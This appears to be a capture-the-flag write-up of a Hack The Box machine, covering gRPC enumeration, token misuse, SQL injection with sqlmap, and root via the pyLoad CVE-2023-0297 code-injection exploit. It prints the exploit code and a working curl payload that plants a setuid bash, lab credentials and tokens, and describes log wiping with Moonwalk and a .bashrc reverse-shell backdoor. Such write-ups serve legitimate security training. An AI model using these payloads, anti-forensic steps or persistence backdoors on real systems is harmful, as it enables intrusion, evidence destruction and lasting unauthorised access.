Engagement Flow
Tools used
gRPC Curl
gRPC Ui
Burpsuite
Moonwalk
Tactics/Techniques
Cross Site Request Forgery - Obtaining admin token with user token
Port forwarding - Port 8000 ---> local host to view pyLoad WebApp on target at
SQL Injection - On initial web app (gRPC server) port 50021
Command Injection - On local port 8000 pyLoad CVE
Covering our tracks - with Moonwalk
Persistence - bashrc backdoor one liner
References
https://learn.microsoft.com/en-us/aspnet/core/grpc/test-tools?view=aspnetcore-7.0
https://nvd.nist.gov/vuln/detail/CVE-2023-0297
Summary
1) Enumeration - Host
Port 22 - SSH
Port 80 - HTTP
2 ) Enumeration - Web Application
Determine connection method to web application
Register user
Login with newly registered user
Retrieve registered user account token
User account token login to admin
Retrieve admin session token
Make a successful query with admin token
3) Exploitation
Intercept the request with burpsuite
Save the request file
Run SQLmap and call request file.
Provide DBMS and account flags
Retrieve user account and password
4 ) Privilege escalation
Manual enumeration
Discovery of port 8000
Enumeration of port 8000
Port forward port 8000
Web page review over port 8000
CVE discovery, modification and delivery of CVE-2023-0297
5) Post Exploitation
Covering our tracks with moonwalk
Persistence by adding a backdoor to the bash.rc file
1) Enumeration - Host
Our surface area is small and unusual with port 22 and 50051 TCP.
Image - Nmap Scan
For port 50051 we sent a telnet connection request to help us discover further information about the service on this port, as our nmap scan provided little in the way of discovery intelligence.
Image - telnet attempt to target server
Researching this port reveals it is a Grpc port. RPC stands for remote procedure call, and I understand correctly, it is a server based service which allows for a developer to pass functions for remote execution in another environment. A fun way to think about it is to imagine running remote workloads. Which means, they are initiated locally and the processing is offloaded remotely. The relationship relies on a client server model in which a client program requests services from the providing or workload server server.
Google Remote Procedure Call (gRPC) which we are working with in this instance, is a open-source solution. Microsoft has their version which is known as just "RPC". RPC servers are compared with REST API's, The major difference as I understand it, is that RPC focuses in the execution of procedure's and commands where as REST is focused around access existing resources locally or remotely and their presentations of said resources locally.
One communication difference is primarily in the use of HTTP. While RPC relies on invoking methods and functions, REST is stateless and uses HTTP methods such as GET and POST.
2) Enumeration - Web Application
Determine connection method to web application
Register user
Login with newly registered user
Retrieve registered user account token
User account token login to admin
Retrieve admin account token
Make a successful query with admin token
1. Determine connection method to web application
Enumerating gRPC is tricky if you have never dealt with this before. This was totally new to me and I have come to understand there are two clear cut tools which can be used. Firstly, grpcurl which is a command line tool. However, I found that the user had to have a strong understanding of this tool in order to be successful with the syntax. The base instructions in "--help" were not sufficient. I referencedthe github page for how to deploy and use the tool which can be found in the link below.
https://github.com/fullstorydev/grpcurl
Eventually I took a step back and reconsidered my options. I learned about some alternatives, being Postman and "grpcui". This was a game changer as grpcui provided a GUI which took care of the format and syntax, only expecting the user to fill in boxes with desired data and options. Which can be found in the link below.
https://github.com/fullstorydev/grpcui
The Microsoft article I referenced can be found in the link below. This is a resources for learning about all 3 of the tools mentioned above at a high level.
Image - grpcui
After executing GRPCUI we are provided with the user interface for our RPC server. It is very simple and straight forwards looking with limited features and functionality. This can be attributed to the fact that this machine is an easy rated machine.
Image - grpcui
Looking around on the Web UI reveals three methods or functions that are available to use. This includes Login, register and get info. These are all very self explanatory. Where it gets tricky, is we have to somehow derive a methodology by which to exploit these functions. My initial thoughts were around IDOR or CSRF techniques.
Image - method names available to us
2. Register a user
Starting off we register a user and it is quite the simple process with no hurdles or roadblocks along the way.
Image - registering a user
Once we successfully register a user, we receive confirmation in the response data field down below.
Image - registering a user
3. Login with newly registered user
This part is pretty easy, we just simply change our method name and enable the related strings for username and password parameters and proceed to login.
Image - logging in
4. Retrieve registered user account token
Upon a successful login, there is a authorization token found at the bottom of the response page. We were also provided an ID number but it was not an object of interest. The authorization token found in the response trailer requires some character stripping in order to make it useable.
I am not totally sure what the b at the start of the string represents, but in any case it needs to be removed along with the single quotes.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoieWVsbG93IiwiZXhwIjoxNjk4NDQ2Mjg0fQ.ARo4aX7kaoz4mVvgUoq4Z3hQgyxF78rsb7Annop67Y4
Image - identify authorization token
5. User account token login to admin account
With the new token in hand, we can login with the admin:admin account which had previously required and authorization token. When we provided our newly registered users authorization token as metadata in the header of the request it actually logs us in without issue.
Image - login as admin
6. Admin token account extraction
This is a simple step, where upon logging in with the admin account, just like on the previous login, we are provided with the users authorization token. In this case it is the admin authorization token which in all contexts is an elevated token.
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2OTg1MTg4MDV9.GxlRxoT1tNxKJfPVt4_5A35zGW21qBsanT6cKARuHRE
Image - admin account login
7. Make a successful query with admin token
At this stage we are testing the final of three functions and the hope is we query resources that will somehow further our goal of getting access to the machine. However, we were not able to query anything.
Image - admin query
Exploitation Phase for initial access
On a side note - This process can be done manually, however I used SQLMAP. With regards to the SQL manual enumeration, the burped request, was vulnerable where ID = "Your ID" and removing the trailing quote allowed for SQL commands. The payloads for this can be found over at "payload all the things" found in the link below.
Intercept the request with burpsuite
Save the request file
Run SQLmap and call request file.
Provide DBMS and account flags
Retrieve user account and password
1) Intercept the request with burpsuite
For this step we intercept the POST request to our remote gRPC server to analyze the contents. It is interesting to note the additional fieds in the header of this RPC request which are not normally seen in web requests. The fields I am seeing are
Sec-Patch-Site
Sec-Fetch-Mode
Sec-Fetch-Dest
Image - burped request to gRPC server
2. Save the request
Image - The request to save
3. Run SQLmap and call the request file
Here we call SQLMap and provide it the request file which we saved and named "burped". We also call the "-batch" function to avoid having to respond to prompts. The batch flag will auto accept all prompts with the default answer.
Image - Running SQLMap against our request file
4. Provide DBMS and account flags
Image - SQLmap tables and accounts
5. Retrieve user account and password
Here we retrieve the accounts and password objects. This was honestly and sadly guess work on my part to call the "account" tables. Although there is a more thorough process by which we can manually enumerate the tables, often table names are just called account or accounts.
We can see below we have user sau:HereIsYourPassWord1431
Image - SQLmap tables and accounts
From here we cross the finish line and make a successful SSN connection into the target host. But we can't celebrate to early as we still have to elevate to root. However, in my experience it is mostly the initial access phase that tends to be the most difficult and time consuming in the hack the box platform.
Image - Successful SSH connection
Privilege escalation
Normally a local enumeration script like winpeas would be used. However I almost always check a few basic things right off the hop. Including network connections and sudo run as permissions which are quite like windows administrator - run as, permissions. The results indicate that we have no sudo permissions to run anything with a high permissions token.
Image - sudo run as permissions
Reviewing the network connections with the "netstat" command, reveals many open sockets and ports. The one socket and port that is the most interesting is port 8000 running locally.
Image - network connections
With port 8000 being open, we can quickly enumerate this port by using basic connection binaries. Such as telnet, netcat, ssh, and curl. In the example below, we successfully use curl.
Image - curling port 8000
The response tells us we have a web page. This can be deducted by seeing the header which appears with the "html" tag. Furthermore, the message in the "p" tag has website like context including in the message. In order for us to browse to the webpage, we need to use the application layer. But because we have access with a terminal, we cannot access the application layer on the target server. Therefore, we will utilize port forwarding which will forward our traffic over a port, into the target machine. We can see this in the command example below.
โโโ(kaliใฟkali)-[~]
โโ$ ssh sau@10.129.78.221 -L 8000:127.0.0.1:8000
sau@10.129.78.221's password:
Last login: Sat Oct 28 23:14:13 2023 from 10.10.14.145With port forwarding enabled, we are able to visit port 8000 and see our website which contains pyLoad.
Image - pyload
Looking around online showed several CVE's for pyLoad.
This vulnerability was quite difficult at first and I had to spend time playing around to eventually get it to work. There was a known metasploit module that I could not get to work. Normally I don't pursue metasploit, but I gave it a shot and quickly gave up, switching back to a more manual process.
The following CVE here was the most prominent and hinted at on the forum.
https://www.exploit-db.com/exploits/51532
We can see the payload below. However since we are not using the Metasploit module here we will have to modify it and make some custom entries. Below is the payload provided by exploit-db.
def runExploit(url, cmd):
endpoint = url + '/flash/addcrypted2'if " " in cmd:
validCommand = cmd.replace(" ", "%20")else:
validCommand = cmd
payload = 'jk=pyimport%20os;os.system("'+validCommand+'");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'
test = requests.post(endpoint, headers={'Content-type': 'application/x-www-form-urlencoded'},data=payload)print('[+] The exploit has be executeded in target machine. ')The modified version includes the payload with the addition of the endpoint url at the end.
This payload is calling the jk function which has a vulnerable eval statement as per the CVE. We pass pyimport and os.system command, followed by copying the existing bash shell into a open permissions folder such as "tmp" and we set the permissions in the same line.
curl -d'jk=pyimport os;os.system("cp /bin/bash /tmp/boom; chmod 6777 /tmp/boom");f=function f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://127.0.0.1:9666/flash/addcrypted2 We run this as user sau, and we call the permission inheritance flag -p on our newly copied "bash" shell.
Image - sending payload
Post Exploitation
Covering our tracks with Moonwalk
Moonwalk is a 400 KB single-binary executable that can be used to clear traces during Linux Exploitation/Penetration Testing by leaving zero traces on system logs and filesystem timestamps. It saves the state of system logs pre-exploitation and reverts that state, including the filesystem timestamps post-exploitation, leaving zero traces of a ghost in the shell.
Moonwalk is not to be confused with Spacewalk, an open-source Linux systems management solution that is the upstream community project from which the Red Hat Satellite product is derived.
Persistence
When a user logs into a system, their login shell, often Bash (/bin/bash), reads and executes the .bashrc file located in their home directory. Attackers can leverage this behavior to add a reverse shell or execute remote scripts.
Understanding the .bashrc file: The .bashrc file contains configuration settings and customizations for an individual user's Bash shell. It is executed each time the user opens an interactive shell session, such as logging in via SSH or opening a terminal.
Identifying the target user: We need to identify the target user whose .bashrc file they want to modify. This typically requires prior knowledge of which users regularly log into the compromised machine.
Adding a reverse shell: A reverse shell allows us to establish a connection from the compromised system to their own system, providing them with interactive command execution on the compromised machine. Attackers can add a reverse shell one-liner to the target user's .bashrc file. This way, each time the user logs in, the reverse shell connects back to the attacker's machine.
Executing remote scripts: Alternatively, instead of a reverse shell, attackers can modify the .bashrc file to execute remote scripts. This can be achieved using curl or other similar tools to download and execute a script from a remote server. By embedding this command in the .bashrc file, the script will be executed every time the user opens an interactive shell session.
Maintaining persistence: By modifying the .bashrc file, the attacker ensures that their malicious code executes every time the user logs in. This allows the attacker to regain access to the compromised system repeatedly without raising suspicion.
THE END
Bรฌnh luแบญn